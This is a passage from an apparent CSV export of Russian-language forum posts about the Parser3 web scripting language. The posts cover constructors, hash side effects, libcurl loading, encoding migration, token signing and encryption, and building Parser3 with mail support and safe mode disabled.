  $lExec[^file::exec[$_whoisScript;;$aObject]]\
  ^if($lExec.status == 0){\
    $result[^unsafe{^lExec.text.match[^^#.*?\\n+][gm][]}{$lExec.text}]\
  }\
\
[/code]"
"80815","Т.е. делаю:\
[code]\
@main[]\
\
$My[^MyClass::create[] $.Param[1] ]\
\
#---\
@CLASS\
MyClass\
\
@create[]\
#не работает, т.к. $Param \"еще не видится\" в create\
^if($Param eq ''){ ... }  \
\
@somemethod[]\
#а тут работает\
^if($Param eq ''){ ... }  \
\
[/code]"
"80816","Параметры в конструктор надо передавать явно.\
\
[code]\
@main[]\
\
$My[^MyClass::create[$.Param[1]]]\
\
#---\
@CLASS\
MyClass\
\
@create[aOptions]\
$Param[$aOptions.param]\
^if($Param eq ''){ ... }  \
\
@somemethod[]\
^if($Param eq ''){ ... }  \
[/code]\
\
В вашем варианте Param добавляется, когда объект уже создан."
"80818","$obj[^class::create[$.param[...]]] не менее красиво, чем $obj[^class::create[] $.param[...]]. И да, между этими конструкциями есть разница. :)"
"80819","Ну я думал, что\
[code]\
\
$My[^Class::create[] $.param[1] ]\
\
# это чисто синтаксическое изящество с заранее присвоенным названием входящих переменных +независимо от их количества, вместо менее читабельного:\
\
$My[^Class::create[1]]\
\
\
[/code]"
"80820","Хочу разбить в одной плоскости string вида\
\
[code]\
\
$String[Var1+Var2+Var3-Var4-Var5]\
\
# Хочу красиво и негромоздко получить плоский hash/table \
# кусков строки через разделитель + либо - \
\
[/code]"
"80821","Объект в парсере — это специальная версия хеша. Синтаксическая конструкция $var[$obj $.field[...]] эквивалентна $obj.field[...] $var[$obj]. Возьми объект из переменной obj, добавь в него поле field со значением «...» и положи ссылку на него в var. \
\
И var и obj будут ссылаться на один и тот же объект. Если я напишу $var.field[var2], то $obj.field eq $var.field eq \"var2\".\
\
Если вместо obj написать конструктор ($var[^class::create[] $.field[...]]), то сначала будет вызван конструктор класса class, который создаст объект в памяти, после чего в объект будет добавлено поле field со значением «...». Ссылка на объект будет в переменной var.\
\
Нужна эта конструкция, если мы хотим добавить несколько полей в один объект/хеш и не повторять имя переменной с объектом и использовать синтаксис, похожий на создание хеша:\
\
[code]\
@main[]\
   $h[\
      $.field1[one]\
      $.field2[two]\
   ]\
   ^method1[$h]\
   ^method3[$h]\
\
@method1[aHash]\
  ...\
  ^method2[$aHash\
#   Добавляем поле\
     $.newField1[four]\
#   Меняем существующее\
     $.field2[three]\
  ]\
[/code]\
\
В этом коде есть проблема. Мы добавили поля в оригинальный объект. В переменной h, после вызова method1 будет новое поле newFiled1, а в поле field2 будет лежать строка «three». Программист очень удивиться, когда в методе method3 окажется хеш в котором field2 eq three. Ведь парой строк выше написано совсем иное.\
\
Тот, кто писал method1 не подумал про побочный эффект своего кода и подложил нам свинью. Отлаживать такой код очень непросто.\
\
Исправим ситуацию:\
[code]\
@main[]\
   $h[\
      $.field1[one]\
      $.field2[two]\
   ]\
   ^method1[$h]\
   ^method3[$h]\
\
@method1[aHash]\
  ...\
  ^method2[^hash::create[$aHash]\
#   Добавляем поле\
     $.newField1[four]\
#   Меняем существующее\
     $.field2[three]\
  ]\
[/code]\
\
Вот тут все будет нормально. Мы сделали копию параметра, добавили в него поле и передали в method3. В переменной h лежит оригинальный объект.\
\
Именно этот случай, главное применение для этого синтаксического выверта. Но не стоит им злоупотреблять. Если бы я изначально написал:\
\
[code]@method1[aHash]\
  ...\
  $aHash.newField1[...]\
  $aHash.field[three]\
  ^method2[$aHash]\
[/code]\
\
То сразу бы увидел, что я меняю оригинальный объект и надо бы сделать копию. Всегда помните, что объекты передаются по ссылкам, т.е. в параметрах метода приходит оригинальный объект. Методы не должны менять ничего, что в них пришло, а результат возвращать через result. Если удобно использовать оригинальный объект — сначала сделай копию. Иначе поиск ошибок будет тяжелым. :)"
"80823","Делаем передачу именованных переменных методу:\
\
[code]\
$e[^Example::create[\
  $.field1[...]\
  $.field2[...]\
]]\
^e.method[Name;$.field5[Ivan]]\
\
@CLASS\
Example\
\
@create[aOptions]\
  $aOptions[^hash::create[$aOptions]]\
  $field1[$aOptions.field1]\
  $field2[$aOptions.field2]\
\
@method[aFixParam;aOptions]\
  $aOptions[^hash::create[$aOptions]]\
  ^call_me[$aFixParam;^if(!def $aOptions.field5){$aOptions.field5}{default}]\
[/code]"
"80824","Но почему бы и нет.\
У меня все в utf8, я даже файлы(jpg) которые загружают пользователи оставляю как есть. И ничего живут, и в последнее время даже спокойно их читаю в консоли на сервере). Так что utf8 уже везде."
"80825","НУ вообще-то серый альт + код на цифровой клавиатуре \
АЛЬТ+0160 \" \" +) в ковычках неразрывный пробел\
Сейчас походу серый альт это любой альт.\
Ну так можно любые символы вводить\
\
О ниже уже ответили))"
"80827","А чем конкретно?\
\
Под .psd вроде как идеально Brackets + Extract (бывший Adobe Reflow Code)."
"80830","Для перекодировки в парсере обычно достаточно добавить опцию $.charset[Windows-1251] при передаче данных туда, где они нужны не в UTF-8."
"80832","[code]\
# Да, заставляет брови подняться, когда узнаешь, \
# что такой синтаксис фактически \"подшивает\" к самой $aHash($h)\
# новые поля/переопределяет старые\
^method2[$aHash\
     $.newField1[four]\
     $.field2[three]\
  ]\
[/code]"
"80833","Как я понял, у Вас используется один из подвидов CamelCase\
а что вам буква \"a\" дает в начале названия?\
\
[code]\
#например\
$aOptions\
\
[/code]"
"80835","[code]\
@CLASS\
prClassName\
\
@create[aOptions]\
  $_privateVar[$aOptions.field]\
  $__innerVar[...]\
\
  $publicVar1[...]\
\
  $CONST[...]\
\
@GET_privateVar[]\
  $result[$_privateVar]\
\
@method[aArgument1;aArgument2][locals]\
  $lLocalVar[...]\
  $result[...]\
\
@_privateMethod[]\
   $result[...]\
[/code]\
\
Префиксы я использую для разделения пространств имен.\
\
aArgument — аргумент функции;\
lLocal — локальная переменная;\
_private — приватная переменная класса/объекта. Если она нужна как часть публичного интерфейса, то делаем свойство (метод доступа) без подчеркивания;\
__inner — переменная класса/объекта;\
$CONST_1 — константа;\
@publicMethod — публичный метод класса;\
@_privateMethod — приватный метод класса.\
\
prClassName — имя класса. pr — префикс проекта.\
\
p.s. http://code.volchkov.net/parser3-pf/src/376c193ad4428ffe1557d01118315faad3cacaa8/CODESTYLE?at=pf"
"80836","Здравствуйте.\
\
Проблема с подключением библиотеки libcurl. ОС: Debian Wheezy 64.\
Хостер дает путь к библиотеке \"/usr/lib/x86_64-linux-gnu/libcurl.so.4\".\
\
Пробую выполнить пример:\
[code]^try{\
	$file[^curl:load[ \
		$.library[/usr/lib/x86_64-linux-gnu/libcurl.so.4]\
		$.url[https://store.artlebedev.ru/] \
		$.useragent[Parser3] \
		$.timeout(10) \
	]] \
}{\
	$exception.handled(1)\
	($exception.lineno) $exception.comment  \
}[/code]\
\
Результат:\
[quote](42) failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory[/quote]\
\
Что мне требуется сделать?\
\
Parser/3.4.3 (compiled on x86_64-unknown-linux-gnu)"
"80838","См. комментарий к странице."
"80839","Спасибо! Но с использованием класса та же ошибка. Может быть подскажите как тут должно быть правильно?\
\
[code]^try{\
	^pfCFile:session{ \
		^pfCFile:options[$.library[/usr/lib/x86_64-linux-gnu/libcurl.so.4]]\
		$file[^pfCFile:load[ \
			$.url[https://store.artlebedev.ru/] \
			$.useragent[Parser3] \
			$.timeout(10) \
		]] \
	}\
}{\
	$exception.handled(1)\
	($exception.lineno) $exception.comment  \
}[/code]"
"80840","А то приходится тему в зипы паковать).\
И может есть обновленная схема подсветки? Которая будет хорошо работать не только с темой выложенной в архиве."
"80841","Ну у меня есть для Monokai Extended и Ocean измененная, а для чего еще нужно?"
"80844","^curl:options[$.library[libcurl.so.4]]\
^curl:load[params] никогда еще не подводило\
ушел смотерть pfCFile)"
"80845","@static:load[aMode;aURL;aOptions]"
"80846","[code]вот что-то похожее на правду:\
^pfCFile:session{ \
	^pfCFile:options[$.library[libcurl.so.4]]\
}\
		$file[^pfCFile:load[binary;https://store.artlebedev.ru/;\
      $.useragent[Parser3] \
$.timeout(10) \
]][/code]"
"80847","Часть с load действительно неверна.\
\
Вот реальный кусок, который используется:\
[code]^pfCFile:session{ \
	^pfCFile:options[$.library[/usr/lib/x86_64-linux-gnu/libcurl.so.4]]\
	$oauth_yandex[^pfCFile:load[text;https://oauth.yandex.ru/token; \
		$.method[POST]\
		$.enctype[application/x-www-form-urlencoded]\
		$.any-status(true)\
	]]		\
}[/code]\
\
Но дело не в load. Видимо я некорректно сообщаю адрес библиотеки, раз с обычными ^curl:options и ^curl:load ошибки действительно нет."
"80848","Так тоже не работает. Разве load не должен быть внутри session?"
"80849","По поводу сессий pfCFile ничего не знаю, код должен работать при обоих вариантах: внутри сессии и вне ее.\
Проверил у себя, ваш код работает и с $.library[/usr/lib/x86_64-linux-gnu/libcurl.so.4] и с $.library[libcurl.so.4].\
В 90% случаев результат \"Couldn't resolve host name load\", в оставшихся 10 - {\"error_description\": \"grant_type not in POST\", \"error\": \"invalid_request\"}"
"80851","Помогло добавления строки \
[code]^curl:options[$.library[/usr/lib/x86_64-linux-gnu/libcurl.so.4]][/code]\
\
Спасибо!"
"80852","Еще думал, можно букву для типа/встроенного класса делать...\
\
 hVar - hash\
 tVar - table\
 nVar - numeric (int/double)\
 sVar - string\
 fVar - file\
 остальные просто объекты без префиксов"
"80853","Например, хочу сделать xor двух строк друг на друга ну или какие то свои арифметические преобразования.\
\
Вангую, что никак... видимо нужна таблица подстановки ручками?"
"80854","Поделитесь пожалуйста.\
А как можно добавить подсветку SQL внутри кода, в php файлах SLQ подсвечивает отдельно, очень удобно."
"80855","это академический вопрос или есть какая-то конкретная задача?"
"80856","Хорошо, на днях выложу в Package Control :) Все же интересует, какую подсветку используют другие? Адаптировать-то там 30 минут работы. :)\
\
По поводу SQL - не уверен что возможно это качественно сделать в рамках Sublime на XML-подсветке. Возможно, если реально у кого-то будет желание написать лексер на python'е с плагином к Sublime - могу помочь лишней парой рук на github'е. ;)"
"80857","В каком смысле \"не пошел\"? :) Старый Мак или что-то еще?\
\
Сейчас вся попса стала выходить под sublime просто, тот же facebook даже вкладывается в написание плагинов для веб-разработки."
"80858","Саблайм я попробовал и не нашел в нем ничего полезного. Все, что мне нужно от редактора в Тестмейте есть. Работает он стабильно на всех версиях Ос Тен. Какие-то мегаплагины мне не нужны. Для всего остального есть юникс-шел (iTerm 2). :)"
"80859","Есть некий портал, на котором имеется дремучий винегрет из версий парсера и файлов в разных кодировках (utf И 1251).\
\
Изначально всё было в 1251, потом стали появляться различные сервисы и модули в подкаталогах в utf-8 частично использующие более ранние методы.\
\
Типичная крайне упрощенная ситуация:\
\
[code]www/classes/my.p ^rem{win-1251}\
\
@method[]\
$result[русский текст]\
\
\
www/auto.p ^rem{win-1251}\
\
\
@auto[]\
^use[/classes/my.p]\
\
\
\
www/index.html ^rem{win-1251}\
\
@main[]\
^method[]\
^rem{тут будет всё норм - \"русский текст\"}\
\
\
www/other/index.html ^rem{urf-8}\
\
@main[]\
^method[]\
\
^rem{а тут нет изза разных кодировок}\
[/code]\
\
если my.p перекодировать в utf - то текст поедет в первом случае. То есть либо перекодировать сразу всё, либо как?\
\
Можно my.p сделать load с кодировкой а потом процесс, но как то не красиво. \
\
Еще есть проблемы с match начиная кажется с 3.4.2 в случае разных кодировок, и перевести сразу на новую версию парсера тоже не выходит - лезут ошибки\
\
Просто пройтись какой нибудь утилитой и автоматически перекодировать все файлы в одну кодировку нельзя - проект большой и ответственный.\
\
Подскажите тактику?"
"80860","Есть вложенная структура корневой auto.p\
\
В котором есть метод @redirectTo, который делает ^throw\
\
и метод @main[]\
[code]@main[]\
	^try{\
		^use[${templatePath}main.html\
		^use[${scriptPath}functions/main_navigation.p]\
		$body[^body[]]\
		^header[]\
		$body\
		^footer[]\
	}{\
		^if($exception.type eq \"site.redirect\"){\
			$exception.handled(true)\
			$response:location[$exception.source]\
		}\
	}[/code]\
Но если вызвать например из вложенного файла в методе @auto ^redirectTo, то я его не отловлю. ловить его в @unhandled_exception не хочется.\
Но и избавиться от @auto в файле проекта не получится.\
У меня скорее всего изначально архитектура слабая (.\
Может подскажите как ловить throw из auto[]"
"80863","Предлагаю соответствующую опцию для match, чтобы легче было искать многострочные последовательности.\
Если, конечно, библиотека позволяет.\
\
[code]$string[<script>\
	var test = '666'^;\
</script>]\
^string.match[<script>.+?</script>;gi[color=\"#ff0000\"]d[/color];]\
[/code]"
"80864","Хотел по-xor-ить\
один string на другой... \
не через Ж сделать это пока не получилось..."
"80866","И кстати когда релиз?)"
"80869","А вообще решилось все \
auto[] -> _auto[]\
И вызов его в сразу в @body[]"
"80872","Парсер компилирует выражения с опцией PCRE_DOTALL:\
PCRE_DOTALL             . matches anything including NL\
http://pcre.org/original/doc/html/pcre_compile.html\
\
Я проверил — точка проходит newline. Что ты хочешь получить в результате работы своего кода?"
"80873","... для чего может понадобиться шифр на базе ксора, кроме учебных задач."
"80874","Да, в 3.4.3 — совпадает и с новой строкой.\
\
Я, [url=\"http://www.parser.ru/docs/lang/app4.htm\"]доверяя документации[/url], извращался с новой строкой.\
\
[quote]Этот метасимвол, совпадает с любым символом кроме символа новой строки по умолчанию.[/quote]"
"80875","[code]void VRegex::regex_options(const String* options, int* result){\
        struct Regex_option {\
                const char* key;\
                const char* keyAlt;\
                int clear;\
                int set;\
                int *result;\
        } regex_option[]={\
                {\"i\", \"I\", 0, PCRE_CASELESS, result}, // a=A\
                {\"s\", \"S\", 0, PCRE_DOTALL, result}, // ^\\n\\n$ [default]\
                {\"m\", \"M\", PCRE_DOTALL, PCRE_MULTILINE, result}, // ^aaa\\n$^bbb\\n$\
                {\"x\", 0, 0, PCRE_EXTENDED, result}, // whitespace in regex ignored\
                {\"U\", 0, 0, PCRE_UNGREEDY, result}, // ungreedy patterns (greedy by default)\
                {\"g\", \"G\", 0, MF_GLOBAL_SEARCH, result+1}, // many rows\
                {\"'\", 0, 0, MF_NEED_PRE_POST_MATCH, result+1},\
                {\"n\", 0, 0, MF_JUST_COUNT_MATCHES, result+1},\
                {0, 0, 0, 0, 0}\
        };\
        result[0]=PCRE_EXTRA /* backslash+non-special char causes error */\
                        | PCRE_DOTALL /* dot matches all chars including newline char */\
                        | PCRE_DOLLAR_ENDONLY /* dollar matches only end of string, but not newline chars */;\
        result[1]=0;\
\
        if(options && !options->is_empty()){\
                size_t valid_options=0;\
                for(Regex_option *o=regex_option; o->key; o++)\
                        if(\
                                options->pos(o->key)!=STRING_NOT_FOUND\
                                || (o->keyAlt && options->pos(o->keyAlt)!=STRING_NOT_FOUND)\
                        ){\
                                *o->result &= ~o->clear;\
                                *o->result |= o->set;\
                                valid_options++;\
                        }\
                if(options->length()!=valid_options)\
                        throw Exception(PARSER_RUNTIME, 0, CALLED_WITH_INVALID_OPTION);\
        }\
}\
\
void VRegex::compile(){\
        const char* err_ptr;\
        int err_offset;\
        int options=foptions[0];\
\
        // @todo (for UTF-8): check string & pattern and use PCRE_NO_UTF8_CHECK option\
        if(fcharset->isUTF8())\
                options |= (PCRE_UTF8 | PCRE_UCP);\
\
        fcode=pcre_compile(fpattern, options,\
                &err_ptr, &err_offset,\
                fcharset->pcre_tables);\
\
        if(!fcode){\
                throw Exception(PCRE_EXCEPTION_TYPE,\
                        new String(fpattern+err_offset, String::L_TAINTED),\
                        \"regular expression syntax error - %s\", err_ptr);\
        }\
\
}\
[/code]"
"80876","Я хочу шифровать часть url'a - это часто встречается, и много где надо. \
\
при правильном подходе (длинное тело ключа и плавающий salt_seek, делает невозможным частотный криптоанализ) и тогда xor дает:\
1. годное шифрование \
2. отсутствие накладных байт\
3. высокую скорость кодирования/раскодирования\
\
Если сейчас продолжить, зачем, зачем, зачем,\
то уверен, что можно договориться до:\
это никому не нужно - всем нужны CMS на Joomla."
"80877","[i]> видимо нужна таблица подстановки ручками?[/i]\
\
можно в хеш, по нему искать быстрее, что-то вроде такого:\
\
[code]\
@auto[]\
$hChars[^for[i](1;255){$.[^string:js-unescape[%^i.format[%02X]]]($i)}]\
\
@charcode[arg]\
$result($hChars.[$arg])\
\
@main[]\
^charcode[*]\
[/code]"
"80878","[code]^string:js-unescape[%^i.format[%02X]][/code] можно заменить на [code]^process{^^#^i.format[%02X]}[/code]"
"80880","Доброго времени суток! Подскажите пожалуйста как сделать автоматическое перенаправление сайта на мобильную версию если клиент зашел с мобилы."
"80881","посмотреть юзерагента и сделать редирект )"
"80882","Дело в том что я в этом вообще ЧАЙНИК , можно пример как это сделать?"
"80883","Всем спасибо, разобрался тема закрыта"
"80886","Сталкивался с необходимостью делать свой URI-escaping для платёжной системы, там свои правила представления символов.\
\
Обошёл через taint[uri] + apply-taint + replace нестандартного, но неэлегантно, конечно."
"80887","можно, только ^process тогда лучше из цикла вынести. Я раньше [url=\"http://www.parser.ru/forum/?id=38721\"]примерно так и делал[/url], но знающие люди постоянно намекали что лучше не процессить если можно этого избежать."
"80888","И планомерно ловить ошибки.\
\
При проблемах с match на юникоде, остаться на старой версии."
"80891","Собственно вопрос в топике, помогите разобраться.\
\
1) Зачем нужен ^a.int(0), если любое мат.выражение автоматически приводит его к double? Или не любое?\
\
2) Чем ^eval() отличается от простого выражения в () - чисто синаксическая особенность, в случаях когда нельзя воткнуть просто скобки или есть функц.разница?\
\
[code]\
$a(1)\
$b(2)\
\
# вроде signed integer'a за глаза, почему сразу double?\
# и зачем тогда ^a.int() - если double будет при первом чихе\
# или типа когда вот очень надо именно int \
# со \"скроллингом\" его разряда\
$c($a + $b)\
$c.CLASS_NAME  ^rem{ double }\
\
# чем отличается ^eval() от простых скобок?\
# чисто из-за синтаксической особенности или есть другие различия?\
$c2(^eval($a + b))\
\
[/code]"
"80892","я правда на TEA сразу замахнулся. Вобщем, на то что в итоге получилось без слез смотреть не получается :) Не самая удачная задача для парсера, но меня честно предупреждали.\
\
Собственно, есть один момент о котором вам лучше знать заранее, если вы вдруг захотите засунуть поксоренное обратно в стринг - парсер не поддерживает нулевой символ (NUL) в строках, если оно там встретится будет падать с ошибкой."
"80894","[quote]Я хочу шифровать часть url'a - это часто встречается, и много где надо.[/quote]\
\
Не очень понимаю, зачем. Общепринятым подходом все-таки являются сессии и сессионные куки, а зачем хранить что-то секретное в URL, который можно переслать другому или модифицировать - не очень понятно. Как вы планируете бороться с тем, что URL изменят? Еще и подписывать с солью?\
\
Что касается задачи, то я бы преобразовал обе строки в HEX и дальше работал с ними в таком представлении - по два символа преобразовывал бы в число, выполнял XOR, обратно кодировал в HEX и в таком бы виде и передавал в URL, не будет проблем с 0 символом, которого не может быть в строках парсера."
"80895","Делаю строку с данными и сроком жизни ссылки/сессии, подписываю с секретом. Дописываю получившийся хеш к строке и шифрую AES'ом через MySQL. Добавляю в url или сессию base64- или hex-представление зашифрованной строки. Это достаточно надежно и позволяет не хранить сессии на сервере."
"80897","1. int переводит строку в число.\
[code]\
$s[2]\
$i($s)\
[/code]\
\
этот код отработает номально\
\
[code]$s[xxx]\
$i($s)[/code]\
\
а этот вызовет ошибку [quote]invalid number (double)[/quote]\
\
если есть уверенность, что в переменной точно число (к примеру данные получены из SQL с типом INT) - в выражениях можно использовать и так\
\
\
2. разница есть. Но в голову сейчас ничего не идет, да и лучше подождать ответа знатока :))\
Дурацкий пример:\
[code]$s[4.20]\
$s ^rem{4.20}\
^eval($s) ^rem{4.2}\
[/code]\
\
))"
"80899",".int / .double нужны для явного приведения к данному типу, с возможностью задать значение по умолчанию.\
Используется, к примеру, при работе с внешними данными, которым нет доверия.\
\
eval нужен для явных вычислений в тексте и других местах, где нельзя или не хочется использовать выражение.\
\
[code]<div width=\"^eval($a / 5)%\"/>[/code]\
[code]$hash.[^eval($hash + 1)][…][/code]"
"80901","А чем подписываете до AES'а?"
"80902","1. Защита от CSRF-атак (шифруем actor-ы форм/действий) \
  1.1. Причем получается токенизация + шифрация самих act=команд \
\
2. Шифрованное микро-хранилище на стороне пользователя (как описал ниже Sumo, его можно вставлять уже в cookie, или local storage"
"80903","Иногда нужна упаковка числа в короткую строку из печатных алфавитных символов...\
\
И тогда, используя буквы A..Z,a-z (+/- пара символов) - можно получить упаковку плоть до 64-разрядной системы счисления \
\
например, всякие коды-чека оплаты, номер транзакции,\
так короткая строка из 4х букв = Zz9F обеспечивает\
число ёмкостью от 0~16,777,215"
"80905","[code]\
$digit[100]\
^digit.base64[]\
\
#\
# Результат: MTAw\
# А должно быть: что то типа ZA (т.е. в два раза короче)\
#\
[/code]"
"80908","... signature = hash(string + secret). Секрет — это строка, которая известна только отправителю и получателю. Хешируюшую функцию надо брать стойкую и «посоленную». Парсеровские md5/sha1 не подойдут, надо брать math:crypt.\
\
Для работы с токенами я использую простой класс:\
[code]\
@CLASS\
hydCoreSecurity\
\
## Шифрование и работа с токенами.\
\
@BASE\
hydBaseModel\
\
@create[aOptions]\
## aOptions.cryptKey — ключ шифрования\
## aOptions.secretKey — ключ для подписи\
  ^cleanMethodArgument[]\
  ^BASE:create[$aOptions]\
\
  ^pfAssert:isTrue(def $aOptions.cryptKey)[Не задан ключ шифрования.]\
  ^pfAssert:isTrue(def $aOptions.secretKey)[Не задан ключ для подписи.]\
\
  $_secretKey[$aOptions.secretKey]\
  $_cryptKey[$aOptions.cryptKey]\
\
@encrypt[aString]\
## Зашифровывает строку и кодирует ее в hex.\
  $result[^CSQL.string{\
    select sql_no_cache hex(aes_encrypt('^taint[$aString]', '^taint[$_cryptKey]'))\
  }]\
\
@decrypt[aString]\
## Расшифровывает строку, закодированную методом encrypt.\
  $result[^CSQL.string{\
    select sql_no_cache aes_decrypt(unhex('^taint[$aString]'), '^taint[$_cryptKey]')\
  }]\
\
@makeToken[aTokenData;aOptions][locals]\
## Формирует токен из данных и подписывает его.\
  $result[^aTokenData.foreach[k;v]{$v}[|]]\
  $result[^encrypt[${result}|^math:crypt[$result|$_secretKey;^$apr1^$]]]\
\
@parseAndValidateToken[aToken;aOptions][locals]\
## Расшифровывает и валидирует токен.\
## Возвращает хеш с данными токена или выбрасывает исключение.\
  $result[^hash::create[]]\
  $aToken[^decrypt[^aToken.trim[both]]]\
  $lParts[^aToken.split[|;lv]]\
  ^if($lParts < 2){^throw[invalid.token]}\
  ^lParts.foreach[k;v]{\
    ^if($k == ($lParts - 1)){\
      $lSignature[$v.piece]\
      ^break[]\
    }\
    $result.[$k][$v.piece]\
  }\
  $lData[^aToken.left(^aToken.length[] - ^lSignature.length[] - 1)]\
  ^if(!def $lSignature || $lSignature ne ^math:crypt[${lData}|$_secretKey;$lSignature]){\
    ^throw[invalid.token]\
  }\
[/code]"
"80910","Вы получаете данные из формы, которые надо записать в БД.\
Или обработать их после отправки, при этом вам не надо писать доскональную валидацию, проверять число пришло или нет\
Можно сделать просто \
^a.int(0) все что не валидно превратится в 0. \
при записи в БД там где идет ввод именно чисел можно писать\
SET varName=^a.int(0) иначе надо писать было varName='$a' и БД пришлось бы самостоятельно конвертировать данные в 0, а так нативно) и парсеру SQL легче."
"80912","работает -- не трогай :)\
\
а если уж очень приспичило -- сначала лучше разобраться с тем, почему последняя версия приводит к ошибкам. локализовать match-и (особенно работающие с пользовательскими данными). попробовать вынести тексты отдельно (т.е. чтобы часть файлов осталась вообще без значащих русских букв)"
"80913","Думал насчет выноса текстов. Пришел к выводу, возможно ошибочному и/или преждевременному, что оператору ^use[] очень не хватает опции charset, чтобы можно было безболезненно импортировать модули в одной кодировке в дерево другой. Аналогично load. Нельзя ли добавить?"
"80914","\"планомерно ловить ошибки\" можно только на небольших проектах, допускающих такие ошибки"
"80915","Поиском нашёл все match, проверил все эти места на ошибки после конвертации.\
\
Сначала локально, потом на продакшне.\
\
Как иначе?\
Либо решительно делать и всё тестировать, либо не трогать пока работает."
"80916","Т.е. перегрузить на свой ^use[] или добавить свой обёрточный вариант\
что-то типа:\
\
[code]\
@main[]\
^use_c[/class/class.p;windows-1251]  ^rem{загрузить class.p и скомпилит}\
\
@use_c[path;charset][f]\
$f[^file::load[$path;$.charset[$charset]]]\
^process{^untaint{$f.text}}\
#\
# насчет untaint - или taint[as-is] или apply-taint - не уверен,\
# я уже отчаился когда либо их полностью понять и запомнить\
#\
[/code]"
"80917","[code]cd ~ \
mkdir parser3project \
cd parser3project \
wget http://www.parser.ru/f/1/download/src/parser-3.4.3.tar.gz \
tar -xzf parser-3.4.3.tar.gz \
mv parser-3.4.3 parser3 \
cd parser3 \
./buildall --with-mailreceive[/code]\
Вот что получаю при этой сборке http://clip2net.com/s/3d7ch1r\
Debian 6 Squeeze 64 bit\
Вот что написали в поддержке http://clip2net.com/s/3dkwYnp\
\
Раньше без ключа --with-mailreceive работало без проблем. Сейчас с места не сдвинутся...\
Как собрать чтобы был доступен $mail:receive ???"
"80918","И почему они не могут сделать\
ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.last.tar.gz"
"80919","Логичнее использовать HEAD версию http://www.parser.ru/download/src/.\
\
Там исправлены некоторые мелочи в работе $mail:receive, подробности в ChangeLog http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup\
\
Ну и да, хотелось бы знать, какие в итоге есть проблемы при сборке, кроме уже устраненной проблемы с pcre."
"80920","Меня скорее удивляет, зачем они удаляют старые версии. У нас например ссылок на старые версии нет, но все файлы все равно доступны."
"80921","Сделали бы хоть файлик какой нить, в котором бы писали текущую актуальную версию. Ну реально не удобно же. Каждый раз меня это удивляет ).\
Может написать автору?) У меня просто не хватает уровня английского, а то еще поймет не так)"
"80922","Поскольку порядок ключей хеша теперь имеет значение, появилась нужда перевернуть порядок ключей в хеше, ну или выдать в обратном порядке.\
\
Как максимально не кроваво это сделать? \
Пока что менее чем прогонять все по циклу с перекладыванием ключей в обратном порядке ничего в голову не приходит... \
разве что сконвертировать в таблицу, сделать sort desc, а потом обратно в хеш..."
"80924","Если Тип = u или d - то подстановка 0-нулей не работает.\
Вопрос: почему."
"80926","Если важны ключи — обратная сортировка таблицы с ключами и наполнение нового хэша её перебором.\
\
Если не важны, и требуются значения в обратном порядке — цикл и ^hash._at(-$i)."
"80928","%Длина.Точность[b]Тип[/b]\
\
как бы подразумевает, что:\
%04.0[b]d[/b] или %04.[b]d[/b]  \
\
но почему %04d ? где написано, что: \
%Длина[b]Тип[/b]  ?\
\
Может, имелось ввиду? \
%[0]Длина[.Точность]Тип"
"80930","При обычном запуске, ну как для сайта, все работает...\
Но, если я из консоли запускаю, например вот этот код\
[code]#!/var/.../cgi-bin/parser3.cgi\
\
@main[]\
^mail:send[\
	$.from[vasil@.....com]\
	$.to[vruzin@.....ru]\
	$.errors-to[vruzin@ya.ru]\
	$.charset[windows-1251]\
	$.subject[Пришло письмо]\
	$.html{Пришло письмо}\
][/code]\
Появляется ошибка\
Права на исполнение файла стоят правильно — 755\
\
[b]ОШИБКА[/b]\
[code] '/var/.../cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/.../cgi-bin/auto.p', fuid(500)!=euid(0) or fgid(502)!=egid(0) [parser.runtime] [uri=, method=GET, cl=0][/code]\
пересобрал так\
[code]./buildall --disable-safe-mode --with-mailreceive --strip[/code]\
и всё равно возникает эта ошибка.\
\
PS: Изначально весь сырбор был из-за $mail:receive... надо почту обрабатывать...\
\
Полагаю есть просто какой-то мелкий нюанс, о котором я пока увы не в курсе..."
"80931","Скрипт нужно запускать от имени владельца файла (например, используя sudo), либо пересобрать Парсер с --disable-safe-mode."
"80932","Всё равно, перепроверил... еще пересобрал с разными параметрами и всё равно ошибка\
[code] '/var/.../cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/.../cgi-bin/auto.p', fuid(500)!=euid(0) or fgid(502)!=egid(0) [parser.runtime][/code]\
И пробовал файлу и к парсеру ставить root — ошибка\
Пробовал пересобрать с разными параметрами, всё одно и тоже...\
\
с sudo не пробовал потому что не знаю как использовать, буду благодарен ответу...\
\
Но суть в том, что даже под root правами почему-то не запускается.\
\
Что можно сделать еще?"
"80933","На перекачанном дереве --disable-safe-mode? Если пересобирать в той же папке, то build-all не запускает второй раз configure-скрипт (почему-то). Чтобы исправить положение нужно сделать:\
\
$ rm -f Makefile\
$ ./buildall --disable-safe-mode <другие параметры>"
"80934","Относительно прав доступа, видимо либо группу на root еще не поменяли, либо что-то подобное, у меня все работает:\
\
dwr@dwrbook: ~/projects/node-parser3/cgi master\
 $ ./parser3.cgi auto.p                                                                                                                                                    \
Работает	\
dwr@dwrbook: ~/projects/node-parser3/cgi master\
 $ ls -la | grep auto\
-rw-r--r--   1 dwr  staff     4071 Oct 24  2013 auto.p \
dwr@dwrbook: ~/projects/node-parser3/cgi master\
 $ sudo -s                                                                                                                                                                  \
root@dwrbook: ~/projects/node-parser3/cgi master\
 # ./parser3.cgi auto.p                                                                                                                                                    \
: './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(501)!=euid(0) or fgid(20)!=egid(0) [parser.runtime]#                                                                                                                                  \
root@dwrbook: ~/projects/node-parser3/cgi master\
 # chown root:wheel auto.p                                                                                                                                                 \
root@dwrbook: ~/projects/node-parser3/cgi master\
 # ./parser3.cgi auto.p                                                                                                                                                    Работает\
\
Вероятно на linux будет root:root вместо root:wheel (так на Mac OS X и FreeBSD).\
\
С другой стороны, в целом отключать safe mode не очень круто :)\
\
Касательно sudo - перехода в другого пользователя:\
\
sudo -u <имя пользователя> -s\
sudo -u <имя пользователя> -i\
\
И можно выполнять команды от его имени, например www-data (или кто владелец файлов?), sudo -u www-data -s"
"80935","Решил всё с нуля сделать в очередной раз:\
\
1. Удалил папки parser3project и parser3install\
